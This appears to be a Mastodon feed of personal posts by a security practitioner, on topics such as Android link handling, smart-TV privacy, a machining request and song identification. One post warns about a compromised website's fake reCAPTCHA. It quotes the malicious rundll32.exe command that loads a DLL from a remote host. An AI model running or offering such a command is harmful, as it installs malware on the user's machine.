mastodon 4.7.3Vociferous champion for Oxford commas, two spaces after a period, and ellipses. I break into buildings. 🔓
"Even if the world were ending tomorrow, I would still plant a tree." 🌲
(he/they)
Reason number 834763 that I am infuriated by Republicans:
They have managed to make me feel sympathy towards TSA employees. 😡
(But at least there were no openly armed D student incels with anger issues here in the airport)
Groan.
Clicking on URLs in my signal chats now launches some sort of weird google-based quick browser instead of my default installed Firefox app on my Android device.
Time to play everyone's favorite fun game: Who Fucking Changed What Fucking Thing
(I believe I updated Signal pretty recently and also I just pushed to Android 16 today. This version of Android apparently has something called "instant apps" relating to default links I think? Seems like yet another feature that no one asked for. Time to learn about whatever that is and try to figure out if that's what's breaking this.)
UPDATE 1: maybe this isn't the problem I think I'm having. It turns out that the person in my signal chat sent me a link using this service...
... which I've never really seen before but it appears to be some sort of oddball link handler which, at least on Android, routes around your default preferred web browser and instead launches a Google lite type quick view.
UPDATE 2: Amazingly helpful people have jumped into the discussion and there is a solution! See here...
...as well as the screenshot I'm attaching here, hopefully. In short: there are a couple of new settings in the "Google app" on all Android phones now.
The green heart is over top of the toggle you want to turn off to prevent yourself from being annoying to others when you send links from Android now.
The magenta heart is over top of the toggle you want to turn off in order to immunize your own phone against other people's annoying links that they might send you.
At first I thought thought I had found a candidate for most horrifying reCAPTCHA process ever devised. 🤔 Then with a closer look, my Sus-O-Meter went off the scale. ⚠️
(UPDATE: OK, yeah, just as I suspected... this is clearly malware. I spoke with the business and helped them understand the fact that their website was compromised.)
LOL, would any of you ever trust a web site to:
1. inject a long text string into your clipboard
2. ask you to open Command Prompt
3. then expect you to blindly paste this long string into your Command Prompt and simply RUN it 😨
If you're curious, this is the string it is asking users to paste and run in their command prompt...
rundll32.exe \\dynmeshex6.dax8sovel.in.net\05fe317c-0981-4de2-bc8a-930d369db441\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1
... BTW, thank you to everyone who expressed concern, but I can assure you that I didn't run this. 😅
OK, internet. Time for me to admit something and then solicit your advice.
Admission: I have not purchased a TV in well over 20 years now. I haven't owned a TV for at least 15 years. 📺
While - yes - I have lived with folk way back in Philly who had one every so often, the last TV that I *purchased* was literally a CRT with a tube. Tarah and I didn't have a TV at all for the near-decade that we were married.
Your Advice: Is there a decent resource that you folk trust when it comes to evaluating privacy concerns about modern TVs? The only thing I know is that, if I acquire a new set, it'll be a "frame" TV (thin bezel, matte finish) since 99% of the time it will serve as art on the wall. I do not have any streaming subscriptions and would likely just play media from my Synology or watch YouTube.
Are modern smart TVs all universally horrible from a privacy perspective, like modern cars? Are any TVs decent about not phoning home out-of-the box? Are some frame TVs able to be modded for privacy or are some able to be wrangled into behaving if I block a lot of well-known stuff at my firewall?
Right now the only thing I have done is walk past the Samsung frame TVs at Costco and say, "Yeah, those seem nice. Sure."
If anyone wants to point me at a resource or list of the best vs the worst that are out there when it comes to finding one that isn't a 1984 Telescreen, I'd eagerly read said research.
UPDATE: So some things I've learned already...
1. Samsung is the most reviled and hated frame TV and for good reason. Their privacy is a mess and they're full of ads, not to mention this software and tech seems to suck. So I may be looking at a Hisense or TCL model (which they call "Art" TVs)
2. Even then, it might be better for me to drive the whole thing with a separate box. Since I'm not an Apple person, I'm a bit more interested in Nvidia's Shield products. They seem neat and even apparently support retro gaming emulators. That's fun!
3. A few folk suggested some very adventurous plans like me sourcing display panels myself and making a whole project out of it. That's appealing if I had more free time and if I could find a matte display panel, but seems like it might be a steep climb at the moment for me.
It's amazing and excellent to see @pluralistic@mamot.fr 's term being touted and amplified by an entire national government...
Ok, internet. I'm reaching out here. 😮💨
I've been trying for a few months now to find someone capable of doing a machining project. After MANY frustrating conversations with machinists who find this job either too small (for their big shop) or too large (for their boutique shop) I'm posting here for reach and boosts, etc...
My goal is to take steel rod stock (likely stainless, but this is flexible based on pricing) in either 7/16" or 15/32" diameter (either should work, i believe) and do the following operations to it:
1. cut to 6" length (ultimately, if this has to be done in long batches first, it could then be parted out at the end)
2. give one end a very small radius (either 1/16" or 1/32" radius)
3. machine the other end down toward a point shape but then leave a "ball" on the end. (this ball doesn't have to be perfectly round at the tip, but it would be nice to come as close as possible)
I have a STEP file for this project, but you can see a rendering of it in this post.
Thankfully the source rod stock would be easily-obtained sizes and nothing exotic. (We can also adjust the overall length of the resulting parts so that there's no waste... like if we take a 4' segment of source rod but the cutting kerf means that the resulting pieces are a shade under 6" in length overall, that's fine... the idea would be to yield eight parts from a 4' source piece of stock)
The goal would be to produce at least a dozen of these rods, but ideally we'd scale that up to 50 or even 100 pieces, if that improves the pricing. The timeline would be for me to take delivery of at least a dozen finished pieces no later than May 5th... but if we can turn out more of them well before that, well this is a plus.
Does ANYONE out there find this project appealing to take on?
Or, if you KNOW a machinist, would you share this project with them to see if they are interested?
Feel free to boost this, etc etc. Thanks! 😊👍
I had a very nice time on the @1password@1password.social podcast, and the episode is out now...
https://youtu.be/wd74Pnwd-50?t=1541
...we discuss some outrageous stories, but in spite of the fact that today is April 1st, I assure you they're all true! 👍😁👍
Thanks for having me on!
(This has now been solved, see below)
Hello, internet... calling all of my German-speaking friends: can any of you identify the song being played here? Even if you do not know the song per se, maybe you can help me by picking out some of the lyrics and thus being able to spell them properly in a web search which might help identify the song name?
EDIT 1: Fun Twist, we are learning that this might be Pennsylvania German as opposed to continental German. 🐎
EDIT 2: We have identified this song as "Du, Du Liegst Mir Im Herzen"...
https://de.wikipedia.org/wiki/Du,_du_liegst_mir_im_Herzen
...and also multiple people have now confirmed that Billy, being from Pennsylvania, most likely would have learned this from some of his friends who spoke and sang in Mudder Sprooch so that's particularly neat! 🐴